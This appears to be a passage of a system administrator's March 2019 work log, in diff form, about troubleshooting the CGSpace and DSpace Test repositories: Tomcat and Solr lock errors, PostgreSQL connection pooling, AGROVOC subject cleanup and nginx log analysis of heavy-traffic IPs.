+     15 dspace.log.2019-03-19
+     21 dspace.log.2019-03-20
+     29 dspace.log.2019-03-21
+     41 dspace.log.2019-03-22
+   4807 dspace.log.2019-03-23
+
    +
  • (Update on 2019-03-23 to use correct grep query)
    • +
  • There are not too many connections currently in PostgreSQL:
    • +
+
$ psql -c 'select * from pg_stat_activity' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+      6 dspaceApi
+     10 dspaceCli
+     15 dspaceWeb
+
    +
  • I didn’t see anything interesting in the PostgreSQL logs, though this stack trace from the Tomcat logs (in the systemd journal) from earlier today might be related?
    • +
+
SEVERE: Servlet.service() for servlet [spring] in context with path [] threw exception [org.springframework.web.util.NestedServletException: Request processing failed; nested exception is java.util.EmptyStackException] with root cause
+java.util.EmptyStackException
+        at java.util.Stack.peek(Stack.java:102)
+        at java.util.Stack.pop(Stack.java:84)
+        at org.apache.cocoon.callstack.CallStack.leave(CallStack.java:54)
+        at org.apache.cocoon.servletservice.CallStackHelper.leaveServlet(CallStackHelper.java:85)
+        at org.apache.cocoon.servletservice.ServletServiceContext$PathDispatcher.forward(ServletServiceContext.java:484)
+        at org.apache.cocoon.servletservice.ServletServiceContext$PathDispatcher.forward(ServletServiceContext.java:443)
+        at org.apache.cocoon.servletservice.spring.ServletFactoryBean$ServiceInterceptor.invoke(ServletFactoryBean.java:264)
+        at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:172)
+        at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:202)
+        at com.sun.proxy.$Proxy90.service(Unknown Source)
+        at org.dspace.springmvc.CocoonView.render(CocoonView.java:113)
+        at org.springframework.web.servlet.DispatcherServlet.render(DispatcherServlet.java:1180)
+        at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:950)
+        at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:852)
+        at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:882)
+        at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:778)
+        at javax.servlet.http.HttpServlet.service(HttpServlet.java:624)
+        at javax.servlet.http.HttpServlet.service(HttpServlet.java:731)
+        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:303)
+        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+        at org.dspace.rdf.negotiation.NegotiationFilter.doFilter(NegotiationFilter.java:59)
+        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+        at org.dspace.utils.servlet.DSpaceWebappServletFilter.doFilter(DSpaceWebappServletFilter.java:78)
+        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+        at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219)
+        at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:110)
+        at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:494)
+        at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:169)
+        at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:104)
+        at org.apache.catalina.valves.CrawlerSessionManagerValve.invoke(CrawlerSessionManagerValve.java:234)
+        at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:1025)
+        at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)
+        at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:445)
+        at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1137)
+        at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:637)
+        at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:317)
+        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+        at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+        at java.lang.Thread.run(Thread.java:748)
+
    +
  • For now I will just restart Tomcat…
    • +
+

2019-03-17

+
    +
  • Last week Felix from Earlham said that they finished testing on DSpace Test (linode19) so I made backups of some things there and re-deployed the system on Ubuntu 18.04 +
      +
    • During re-deployment I hit a few issues with the Ansible playbooks and made some minor improvements
      • +
    • There seems to be an issue with nodejs’s dependencies now, which causes npm to get uninstalled when installing the certbot dependencies (due to a conflict in libssl dependencies)
      • +
    • I re-worked the playbooks to use Node.js from the upstream official repository for now
      • +
    +
    • +
  • Create and merge pull request for the AGROVOC controlled list (#415) +
      +
    • Run all system updates on CGSpace (linode18) and re-deploy the 5_x-prod branch and reboot the server
      • +
    +
    • +
  • Re-sync DSpace Test with a fresh database snapshot and assetstore from CGSpace +
      +
    • After restarting Tomcat, Solr was giving the “Error opening new searcher” error for all cores
      • +
    • I stopped Tomcat, added ulimit -v unlimited to the catalina.sh script and deleted all old locks in the DSpace solr directory and then DSpace started up normally
      • +
    • I’m still not exactly sure why I see this error and if the ulimit trick actually helps, as the tomcat7.service has LimitAS=infinity anyways (and from checking the PID’s limits file in /proc it seems to be applied)
      • +
    • Then I noticed that the item displays were blank… so I checked the database info and saw there were some unfinished migrations
      • +
    • I’m not entirely sure if it’s related, but I tried to delete the old migrations and then force running the ignored ones like when we upgraded to DSpace 5.8 in 2018-06 and then after restarting Tomcat I could see the item displays again
      • +
    +
    • +
  • I copied the 2019 Solr statistics core from CGSpace to DSpace Test and it works (and is only 5.5GB currently), so now we have some useful stats on DSpace Test for the CUA module and the dspace-statistics-api
    • +
  • I ran DSpace’s cleanup task on CGSpace (linode18) and there were errors:
    • +
+
$ dspace cleanup -v
+Error: ERROR: update or delete on table "bitstream" violates foreign key constraint "bundle_primary_bitstream_id_fkey" on table "bundle"
+  Detail: Key (bitstream_id)=(164496) is still referenced from table "bundle".
+
    +
  • The solution is, as always:
    • +
+
# su - postgres
+$ psql dspace -c 'update bundle set primary_bitstream_id=NULL where primary_bitstream_id in (164496);'
+UPDATE 1
+

2019-03-18

+
    +
  • I noticed that the regular expression for validating lines from input files in my agrovoc-lookup.py script was skipping characters with accents, etc, so I changed it to use the \w character class for words instead of trying to match [A-Z] etc… +
      +
    • We have a Spanish and French subjects so this is very important
      • +
    • Also there were some subjects with apostrophes, dashes, and periods… these are probably invalid AGROVOC subject terms, but we should save them to the rejects file instead of skipping them nevertheless
      • +
    +
    • +
  • Dump top 1500 subjects from CGSpace to try one more time to generate a list of invalid terms using my agrovoc-lookup.py script:
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value, count(*) FROM metadatavalue WHERE metadata_field_id = 57 AND resource_type_id = 2 GROUP BY text_value ORDER BY count DESC LIMIT 1500) to /tmp/2019-03-18-top-1500-subject.csv WITH CSV HEADER;
+COPY 1500
+dspace=# \q
+$ csvcut -c text_value /tmp/2019-03-18-top-1500-subject.csv > 2019-03-18-top-1500-subject.csv
+$ ./agrovoc-lookup.py -l en -i 2019-03-18-top-1500-subject.csv -om /tmp/en-subjects-matched.txt -or /tmp/en-subjects-unmatched.txt
+$ ./agrovoc-lookup.py -l es -i 2019-03-18-top-1500-subject.csv -om /tmp/es-subjects-matched.txt -or /tmp/es-subjects-unmatched.txt
+$ ./agrovoc-lookup.py -l fr -i 2019-03-18-top-1500-subject.csv -om /tmp/fr-subjects-matched.txt -or /tmp/fr-subjects-unmatched.txt
+$ cat /tmp/*-subjects-matched.txt | sort -u > /tmp/subjects-matched-sorted.txt
+$ wc -l /tmp/subjects-matched-sorted.txt                                                              
+1318 /tmp/subjects-matched-sorted.txt
+$ sort -u 2019-03-18-top-1500-subject.csv > /tmp/1500-subjects-sorted.txt
+$ comm -13 /tmp/subjects-matched-sorted.txt /tmp/1500-subjects-sorted.txt > 2019-03-18-subjects-unmatched.txt
+$ wc -l 2019-03-18-subjects-unmatched.txt
+182 2019-03-18-subjects-unmatched.txt
+
    +
  • So the new total of matched terms with the updated regex is 1317 and unmatched is 183 (previous number of matched terms was 1187)
    • +
  • Create and merge a pull request to update the controlled vocabulary for AGROVOC terms (#416)
    • +
  • We are getting the blank page issue on CGSpace again today and I see a large number of the “SQL QueryTable Error” in the DSpace log again (last time was 2019-03-15):
    • +
+
$ grep -c 'SQL QueryTable Error' dspace.log.2019-03-1[5678]
+dspace.log.2019-03-15:929
+dspace.log.2019-03-16:67
+dspace.log.2019-03-17:72
+dspace.log.2019-03-18:1038
+
    +
  • Though WTF, this grep seems to be giving weird inaccurate results actually, and the real number of errors is much lower if I exclude the “binary file matches” result with -I:
    • +
+
$ grep -I 'SQL QueryTable Error' dspace.log.2019-03-18 | wc -l
+8
+$ grep -I 'SQL QueryTable Error' dspace.log.2019-03-{08,14,15,16,17,18} | awk -F: '{print $1}' | sort | uniq -c
+      9 dspace.log.2019-03-08
+     25 dspace.log.2019-03-14
+     12 dspace.log.2019-03-15
+     67 dspace.log.2019-03-16
+     72 dspace.log.2019-03-17
+      8 dspace.log.2019-03-18
+
    +
  • It seems to be something with grep doing binary matching on some log files for some reason, so I guess I need to always use -I to say binary files don’t match
    • +
  • Anyways, the full error in DSpace’s log is:
    • +
+
2019-03-18 12:26:23,331 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL QueryTable Error - 
+java.sql.SQLException: Connection org.postgresql.jdbc.PgConnection@75eaa668 is closed.
+        at org.apache.tomcat.dbcp.dbcp.DelegatingConnection.checkOpen(DelegatingConnection.java:398)
+        at org.apache.tomcat.dbcp.dbcp.DelegatingConnection.prepareStatement(DelegatingConnection.java:279)
+        at org.apache.tomcat.dbcp.dbcp.PoolingDataSource$PoolGuardConnectionWrapper.prepareStatement(PoolingDataSource.java:313)
+        at org.dspace.storage.rdbms.DatabaseManager.queryTable(DatabaseManager.java:220)
+
    +
  • There is a low number of connections to PostgreSQL currently:
    • +
+
$ psql -c 'select * from pg_stat_activity' | wc -l
+33
+$ psql -c 'select * from pg_stat_activity' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+      6 dspaceApi
+      7 dspaceCli
+     15 dspaceWeb
+
    +
  • I looked in the PostgreSQL logs, but all I see are a bunch of these errors going back two months to January:
    • +
+
2019-01-13 06:25:13.062 CET [9157] postgres@template1 ERROR:  column "waiting" does not exist at character 217
+
    +
  • This is unrelated and apparently due to Munin checking a column that was changed in PostgreSQL 9.6
    • +
  • I suspect that this issue with the blank pages might not be PostgreSQL after all, perhaps it’s a Cocoon thing?
    • +
  • Looking in the cocoon logs I see a large number of warnings about “Can not load requested doc” around 11AM and 12PM:
    • +
+
$ grep 'Can not load requested doc' cocoon.log.2019-03-18 | grep -oE '2019-03-18 [0-9]{2}:' | sort | uniq -c
+      2 2019-03-18 00:
+      6 2019-03-18 02:
+      3 2019-03-18 04:
+      1 2019-03-18 05:
+      1 2019-03-18 07:
+      2 2019-03-18 08:
+      4 2019-03-18 09:
+      5 2019-03-18 10:
+    863 2019-03-18 11:
+    203 2019-03-18 12:
+     14 2019-03-18 13:
+      1 2019-03-18 14:
+
    +
  • And a few days ago on 2019-03-15 when I happened last it was in the afternoon when it happened and the same pattern occurs then around 1–2PM:
    • +
+
$ xzgrep 'Can not load requested doc' cocoon.log.2019-03-15.xz | grep -oE '2019-03-15 [0-9]{2}:' | sort | uniq -c
+      4 2019-03-15 01:
+      3 2019-03-15 02:
+      1 2019-03-15 03:
+     13 2019-03-15 04:
+      1 2019-03-15 05:
+      2 2019-03-15 06:
+      3 2019-03-15 07:
+     27 2019-03-15 09:
+      9 2019-03-15 10:
+      3 2019-03-15 11:
+      2 2019-03-15 12:
+    531 2019-03-15 13:
+    274 2019-03-15 14:
+      4 2019-03-15 15:
+     75 2019-03-15 16:
+      5 2019-03-15 17:
+      5 2019-03-15 18:
+      6 2019-03-15 19:
+      2 2019-03-15 20:
+      4 2019-03-15 21:
+      3 2019-03-15 22:
+      1 2019-03-15 23:
+
    +
  • And again on 2019-03-08, surprise surprise, it happened in the morning:
    • +
+
$ xzgrep 'Can not load requested doc' cocoon.log.2019-03-08.xz | grep -oE '2019-03-08 [0-9]{2}:' | sort | uniq -c
+     11 2019-03-08 01:
+      3 2019-03-08 02:
+      1 2019-03-08 03:
+      2 2019-03-08 04:
+      1 2019-03-08 05:
+      1 2019-03-08 06:
+      1 2019-03-08 08:
+    425 2019-03-08 09:
+    432 2019-03-08 10:
+    717 2019-03-08 11:
+     59 2019-03-08 12:
+
    +
  • I’m not sure if it’s cocoon or that’s just a symptom of something else
    • +
+

2019-03-19

+
    +
  • I found a handful of AGROVOC subjects that use a non-breaking space (0x00a0) instead of a regular space, which makes for a pretty confusing debugging…
    • +
  • I will replace these in the database immediately to save myself the headache later:
    • +
+
dspace=# SELECT count(text_value) FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id = 57 AND text_value ~ '.+\u00a0.+';
+ count 
+-------
+    84
+(1 row)
+
    +
  • Perhaps my agrovoc-lookup.py script could notify if it finds these because they potentially give false negatives
    • +
  • CGSpace (linode18) is having problems with Solr again, I’m seeing “Error opening new searcher” in the Solr logs and there are no stats for previous years
    • +
  • Apparently the Solr statistics shards didn’t load properly when we restarted Tomcat yesterday:
    • +
+
2019-03-18 12:32:39,799 ERROR org.apache.solr.core.CoreContainer @ Error creating core [statistics-2018]: Error opening new searcher
+...
+Caused by: org.apache.solr.common.SolrException: Error opening new searcher
+        at org.apache.solr.core.SolrCore.openNewSearcher(SolrCore.java:1565)
+        at org.apache.solr.core.SolrCore.getSearcher(SolrCore.java:1677)
+        at org.apache.solr.core.SolrCore.<init>(SolrCore.java:845)
+        ... 31 more
+Caused by: org.apache.lucene.store.LockObtainFailedException: Lock obtain timed out: NativeFSLock@/home/cgspace.cgiar.org/solr/statistics-2018/data/index/write.lock
+
    +
  • For reference, I don’t see the ulimit -v unlimited in the catalina.sh script, though the tomcat7 systemd service has LimitAS=infinity
    • +
  • The limits of the current Tomcat java process are:
    • +
+
# cat /proc/27182/limits 
+Limit                     Soft Limit           Hard Limit           Units     
+Max cpu time              unlimited            unlimited            seconds   
+Max file size             unlimited            unlimited            bytes     
+Max data size             unlimited            unlimited            bytes     
+Max stack size            8388608              unlimited            bytes     
+Max core file size        0                    unlimited            bytes     
+Max resident set          unlimited            unlimited            bytes     
+Max processes             128589               128589               processes 
+Max open files            16384                16384                files     
+Max locked memory         65536                65536                bytes     
+Max address space         unlimited            unlimited            bytes     
+Max file locks            unlimited            unlimited            locks     
+Max pending signals       128589               128589               signals   
+Max msgqueue size         819200               819200               bytes     
+Max nice priority         0                    0                    
+Max realtime priority     0                    0                    
+Max realtime timeout      unlimited            unlimited            us
+
    +
  • I will try to add ulimit -v unlimited to the Catalina startup script and check the output of the limits to see if it’s different in practice, as some wisdom on Stack Overflow says this solves the Solr core issues and I’ve superstitiously tried it various times in the past +
      +
    • The result is the same before and after, so adding the ulimit directly is unneccessary (whether or not unlimited address space is useful or not is another question)
      • +
    +
    • +
  • For now I will just stop Tomcat, delete Solr locks, then start Tomcat again:
    • +
+
# systemctl stop tomcat7
+# find /home/cgspace.cgiar.org/solr/ -iname "*.lock" -delete
+# systemctl start tomcat7
+
    +
  • After restarting I confirmed that all Solr statistics cores were loaded successfully…
    • +
  • Another avenue might be to look at point releases in Solr 4.10.x, as we’re running 4.10.2 and they released 4.10.3 and 4.10.4 back in 2014 or 2015 +
      +
    • I see several issues regarding locks and IndexWriter that were fixed in Solr and Lucene 4.10.3 and 4.10.4…
      • +
    +
    • +
  • I sent a mail to the dspace-tech mailing list to ask about Solr issues
    • +
  • Testing Solr 4.10.4 on DSpace 5.8: +
      +
    • Discovery indexing
      • +
    • dspace-statistics-api indexer
      • +
    • /solr admin UI
      • +
    +
    • +
+

2019-03-20

+
    +
  • Create a branch for Solr 4.10.4 changes so I can test on DSpace Test (linode19) +
      +
    • Deployed Solr 4.10.4 on DSpace Test and will leave it there for a few weeks, as well as on my local environment
      • +
    +
    • +
+

2019-03-21

+
    +
  • It’s been two days since we had the blank page issue on CGSpace, and looking in the Cocoon logs I see very low numbers of the errors that we were seeing the last time the issue occurred:
    • +
+
$ grep 'Can not load requested doc' cocoon.log.2019-03-20 | grep -oE '2019-03-20 [0-9]{2}:' | sort | uniq -c
+      3 2019-03-20 00:
+     12 2019-03-20 02:
+$ grep 'Can not load requested doc' cocoon.log.2019-03-21 | grep -oE '2019-03-21 [0-9]{2}:' | sort | uniq -c
+      4 2019-03-21 00:
+      1 2019-03-21 02:
+      4 2019-03-21 03:
+      1 2019-03-21 05:
+      4 2019-03-21 06:
+     11 2019-03-21 07:
+     14 2019-03-21 08:
+      3 2019-03-21 09:
+      4 2019-03-21 10:
+      5 2019-03-21 11:
+      4 2019-03-21 12:
+      3 2019-03-21 13:
+      6 2019-03-21 14:
+      2 2019-03-21 15:
+      3 2019-03-21 16:
+      3 2019-03-21 18:
+      1 2019-03-21 19:
+      6 2019-03-21 20:
+
    +
  • To investigate the Solr lock issue I added a find command to the Tomcat 7 service with ExecStartPre and ExecStopPost and noticed that the lock files are always there… +
      +
    • Perhaps the lock files are less of an issue than I thought?
      • +
    • I will share my thoughts with the dspace-tech community
      • +
    +
    • +
  • In other news, I notice that that systemd always thinks that Tomcat has failed when it stops because the JVM exits with code 143, which is apparently normal when processes gracefully receive a SIGTERM (128 + 15 == 143) +
      +
    • We can add SuccessExitStatus=143 to the systemd service so that it knows this is a successful exit
      • +
    +
    • +
+

2019-03-22

+
    +
  • Share the initial list of invalid AGROVOC terms on Yammer to ask the editors for help in correcting them
    • +
  • Advise Phanuel Ayuka from IITA about using controlled vocabularies in DSpace
    • +
+

2019-03-23

+
    +
  • CGSpace (linode18) is having the blank page issue again and it seems to have started last night around 21:00:
    • +
+
$ grep 'Can not load requested doc' cocoon.log.2019-03-22 | grep -oE '2019-03-22 [0-9]{2}:' | sort | uniq -c
+      2 2019-03-22 00:
+     69 2019-03-22 01:
+      1 2019-03-22 02:
+     13 2019-03-22 03:
+      2 2019-03-22 05:
+      2 2019-03-22 06:
+      8 2019-03-22 07:
+      4 2019-03-22 08:
+     12 2019-03-22 09:
+      7 2019-03-22 10:
+      1 2019-03-22 11:
+      2 2019-03-22 12:
+     14 2019-03-22 13:
+      4 2019-03-22 15:
+      7 2019-03-22 16:
+      7 2019-03-22 17:
+      3 2019-03-22 18:
+      3 2019-03-22 19:
+      7 2019-03-22 20:
+    323 2019-03-22 21:
+    685 2019-03-22 22:
+    357 2019-03-22 23:
+$ grep 'Can not load requested doc' cocoon.log.2019-03-23 | grep -oE '2019-03-23 [0-9]{2}:' | sort | uniq -c
+    575 2019-03-23 00:
+    445 2019-03-23 01:
+    518 2019-03-23 02:
+    436 2019-03-23 03:
+    387 2019-03-23 04:
+    593 2019-03-23 05:
+    468 2019-03-23 06:
+    541 2019-03-23 07:
+    440 2019-03-23 08:
+    260 2019-03-23 09:
+
    +
  • I was curious to see if clearing the Cocoon cache in the XMLUI control panel would fix it, but it didn’t
    • +
  • Trying to drill down more, I see that the bulk of the errors started aroundi 21:20:
    • +
+
$ grep 'Can not load requested doc' cocoon.log.2019-03-22 | grep -oE '2019-03-22 21:[0-9]' | sort | uniq -c
+      1 2019-03-22 21:0
+      1 2019-03-22 21:1
+     59 2019-03-22 21:2
+     69 2019-03-22 21:3
+     89 2019-03-22 21:4
+    104 2019-03-22 21:5
+
    +
  • Looking at the Cocoon log around that time I see the full error is:
    • +
+
2019-03-22 21:21:34,378 WARN  org.apache.cocoon.components.xslt.TraxErrorListener  - Can not load requested doc: unknown protocol: cocoon at jndi:/localhost/themes/CIAT/xsl/../../0_CGIAR/xsl//aspect/artifactbrowser/common.xsl:141:90
+
    +
  • A few milliseconds before that time I see this in the DSpace log:
    • +
+
2019-03-22 21:21:34,356 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL QueryTable Error -
+org.postgresql.util.PSQLException: This statement has been closed.
+        at org.postgresql.jdbc.PgStatement.checkClosed(PgStatement.java:694)
+        at org.postgresql.jdbc.PgStatement.getMaxRows(PgStatement.java:501)
+        at org.postgresql.jdbc.PgStatement.createResultSet(PgStatement.java:153)
+        at org.postgresql.jdbc.PgStatement$StatementResultHandler.handleResultRows(PgStatement.java:204)
+        at org.postgresql.core.ResultHandlerDelegate.handleResultRows(ResultHandlerDelegate.java:29)
+        at org.postgresql.core.v3.QueryExecutorImpl$1.handleResultRows(QueryExecutorImpl.java:528)
+        at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:2120)
+        at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:308)
+        at org.postgresql.jdbc.PgStatement.executeInternal(PgStatement.java:441)
+        at org.postgresql.jdbc.PgStatement.execute(PgStatement.java:365)
+        at org.postgresql.jdbc.PgPreparedStatement.executeWithFlags(PgPreparedStatement.java:143)
+        at org.postgresql.jdbc.PgPreparedStatement.executeQuery(PgPreparedStatement.java:106)
+        at org.apache.tomcat.dbcp.dbcp.DelegatingPreparedStatement.executeQuery(DelegatingPreparedStatement.java:96)
+        at org.apache.tomcat.dbcp.dbcp.DelegatingPreparedStatement.executeQuery(DelegatingPreparedStatement.java:96)
+        at org.dspace.storage.rdbms.DatabaseManager.queryTable(DatabaseManager.java:224)
+        at org.dspace.storage.rdbms.DatabaseManager.querySingleTable(DatabaseManager.java:375)
+        at org.dspace.storage.rdbms.DatabaseManager.findByUnique(DatabaseManager.java:544)
+        at org.dspace.storage.rdbms.DatabaseManager.find(DatabaseManager.java:501)
+        at org.dspace.eperson.Group.find(Group.java:706)
+...
+2019-03-22 21:21:34,381 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL query singleTable Error -
+org.postgresql.util.PSQLException: This statement has been closed.
+        at org.postgresql.jdbc.PgStatement.checkClosed(PgStatement.java:694)
+        at org.postgresql.jdbc.PgStatement.getMaxRows(PgStatement.java:501)
+        at org.postgresql.jdbc.PgStatement.createResultSet(PgStatement.java:153)
+...
+2019-03-22 21:21:34,386 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL findByUnique Error -
+org.postgresql.util.PSQLException: This statement has been closed.
+        at org.postgresql.jdbc.PgStatement.checkClosed(PgStatement.java:694)
+        at org.postgresql.jdbc.PgStatement.getMaxRows(PgStatement.java:501)
+        at org.postgresql.jdbc.PgStatement.createResultSet(PgStatement.java:153)
+...
+2019-03-22 21:21:34,395 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL find Error -
+org.postgresql.util.PSQLException: This statement has been closed.
+        at org.postgresql.jdbc.PgStatement.checkClosed(PgStatement.java:694)
+        at org.postgresql.jdbc.PgStatement.getMaxRows(PgStatement.java:501)
+        at org.postgresql.jdbc.PgStatement.createResultSet(PgStatement.java:153)
+        at org.postgresql.jdbc.PgStatement$StatementResultHandler.handleResultRows(PgStatement.java:204)
+
    +
  • +

    I restarted Tomcat and now the item displays are working again for now

    +
    • +
  • +

    I am wondering if this is an issue with removing abandoned connections in Tomcat’s JDBC pooling?

    +
      +
    • It’s hard to tell because we have logAbanded enabled, but I don’t see anything in the tomcat7 service logs in the systemd journal
      • +
    +
    • +
  • +

    I sent another mail to the dspace-tech mailing list with my observations

    +
    • +
  • +

    I spent some time trying to test and debug the Tomcat connection pool’s settings, but for some reason our logs are either messed up or no connections are actually getting abandoned

    +
    • +
  • +

    I compiled this TomcatJdbcConnectionTest and created a bunch of database connections and waited a few minutes but they never got abandoned until I created over maxActive (75), after which almost all were purged at once

    +
      +
    • So perhaps our settings are not working right, but at least I know the logging works now…
      • +
    +
    • +
+

2019-03-24

+
    +
  • I did some more tests with the TomcatJdbcConnectionTest thing and while monitoring the number of active connections in jconsole and after adjusting the limits quite low I eventually saw some connections get abandoned
    • +
  • I forgot that to connect to a remote JMX session with jconsole you need to use a dynamic SSH SOCKS proxy (as I originally discovered in 2017-11:
    • +
+
$ jconsole -J-DsocksProxyHost=localhost -J-DsocksProxyPort=3000 service:jmx:rmi:///jndi/rmi://localhost:5400/jmxrmi -J-DsocksNonProxyHosts=
+
    +
  • I need to remember to check the active connections next time we have issues with blank item pages on CGSpace
    • +
  • In other news, I’ve been running G1GC on DSpace Test (linode19) since 2018-11-08 without realizing it, which is probably a good thing
    • +
  • I deployed the latest 5_x-prod branch on CGSpace (linode18) and added more validation to the JDBC pool in our Tomcat config +
      +
    • This includes the new testWhileIdle and testOnConnect pool settings as well as the two new JDBC interceptors: StatementFinalizer and ConnectionState that should hopefully make sure our connections in the pool are valid
      • +
    +
    • +
  • I spent one hour looking at the invalid AGROVOC terms from last week +
      +
    • It doesn’t seem like any of the editors did any work on this so I did most of them
      • +
    +
    • +
+

2019-03-25

+
    +
  • Finish looking over the 175 invalid AGROVOC terms +
      +
    • I need to apply the corrections and deletions this week
      • +
    +
    • +
  • Looking at the DBCP status on CGSpace via jconsole and everything looks good, though I wonder why timeBetweenEvictionRunsMillis is -1, because the Tomcat 7.0 JDBC docs say the default is 5000… +
      +
    • Could be an error in the docs, as I see the Apache Commons DBCP has -1 as the default
      • +
    • Maybe I need to re-evaluate the “defauts” of Tomcat 7’s DBCP and set them explicitly in our config
      • +
    • From Tomcat 8 they seem to default to Apache Commons’ DBCP 2.x
      • +
    +
    • +
  • Also, CGSpace doesn’t have many Cocoon errors yet this morning:
    • +
+
$ grep 'Can not load requested doc' cocoon.log.2019-03-25 | grep -oE '2019-03-25 [0-9]{2}:' | sort | uniq -c
+      4 2019-03-25 00:
+      1 2019-03-25 01:
+
    +
  • Holy shit I just realized we’ve been using the wrong DBCP pool in Tomcat +
      +
    • By default you get the Commons DBCP one unless you specify factory org.apache.tomcat.jdbc.pool.DataSourceFactory
      • +
    • Now I see all my interceptor settings etc in jconsole, where I didn’t see them before (also a new tomcat.jdbc mbean)!
      • +
    • No wonder our settings didn’t quite match the ones in the Tomcat DBCP Pool docs
      • +
    +
    • +
  • Uptime Robot reported that CGSpace went down and I see the load is very high
    • +
  • The top IPs around the time in the nginx API and web logs were:
    • +
+
# zcat --force /var/log/nginx/{oai,rest,statistics}.log /var/log/nginx/{oai,rest,statistics}.log.1 | grep -E "25/Mar/2019:(18|19|20|21)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+      9 190.252.43.162
+     12 157.55.39.140
+     18 157.55.39.54
+     21 66.249.66.211
+     27 40.77.167.185
+     29 138.220.87.165
+     30 157.55.39.168
+     36 157.55.39.9
+     50 52.23.239.229
+   2380 45.5.186.2
+# zcat --force /var/log/nginx/{access,error,library-access}.log /var/log/nginx/{access,error,library-access}.log.1 | grep -E "25/Mar/2019:(18|19|20|21)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    354 18.195.78.144
+    363 190.216.179.100
+    386 40.77.167.185
+    484 157.55.39.168
+    507 157.55.39.9
+    536 2a01:4f8:140:3192::2
+   1123 66.249.66.211
+   1186 93.179.69.74
+   1222 35.174.184.209
+   1720 2a01:4f8:13b:1296::2
+
    +
  • The IPs look pretty normal except we’ve never seen 93.179.69.74 before, and it uses the following user agent:
    • +
+
Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1
+
    +
  • Surprisingly they are re-using their Tomcat session:
    • +
+
$ grep -o -E 'session_id=[A-Z0-9]{32}:ip_addr=93.179.69.74' dspace.log.2019-03-25 | sort | uniq | wc -l
+1
+
    +
  • That’s weird because the total number of sessions today seems low compared to recent days:
    • +
+
$ grep -o -E 'session_id=[A-Z0-9]{32}' dspace.log.2019-03-25 | sort -u | wc -l
+5657
+$ grep -o -E 'session_id=[A-Z0-9]{32}' dspace.log.2019-03-24 | sort -u | wc -l
+17710
+$ grep -o -E 'session_id=[A-Z0-9]{32}' dspace.log.2019-03-23 | sort -u | wc -l
+17179
+$ grep -o -E 'session_id=[A-Z0-9]{32}' dspace.log.2019-03-22 | sort -u | wc -l
+7904
+
    +
  • PostgreSQL seems to be pretty busy:
    • +
+
$ psql -c 'select * from pg_stat_activity' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+     11 dspaceApi
+     10 dspaceCli
+     67 dspaceWeb
+
    +
  • I restarted Tomcat and deployed the new Tomcat JDBC settings on CGSpace since I had to restart the server anyways +
      +
    • I need to watch this carefully though because I’ve read some places that Tomcat’s DBCP doesn’t track statements and might create memory leaks if an application doesn’t close statements before a connection gets returned back to the pool
      • +
    +
    • +
  • According the Uptime Robot the server was up and down a few more times over the next hour so I restarted Tomcat again
    • +
+

2019-03-26

+
    +
  • UptimeRobot says CGSpace went down again and I see the load is again at 14.0!
    • +
  • Here are the top IPs in nginx logs in the last hour:
    • +
+
# zcat --force /var/log/nginx/{oai,rest,statistics}.log /var/log/nginx/{oai,rest,statistics}.log.1 | grep -E "26/Mar/2019:(06|07)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10 
+      3 35.174.184.209
+      3 66.249.66.81
+      4 104.198.9.108
+      4 154.77.98.122
+      4 2.50.152.13
+     10 196.188.12.245
+     14 66.249.66.80
+    414 45.5.184.72
+    535 45.5.186.2
+   2014 205.186.128.185
+# zcat --force /var/log/nginx/{access,error,library-access}.log /var/log/nginx/{access,error,library-access}.log.1 | grep -E "26/Mar/2019:(06|07)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    157 41.204.190.40
+    160 18.194.46.84
+    160 54.70.40.11
+    168 31.6.77.23
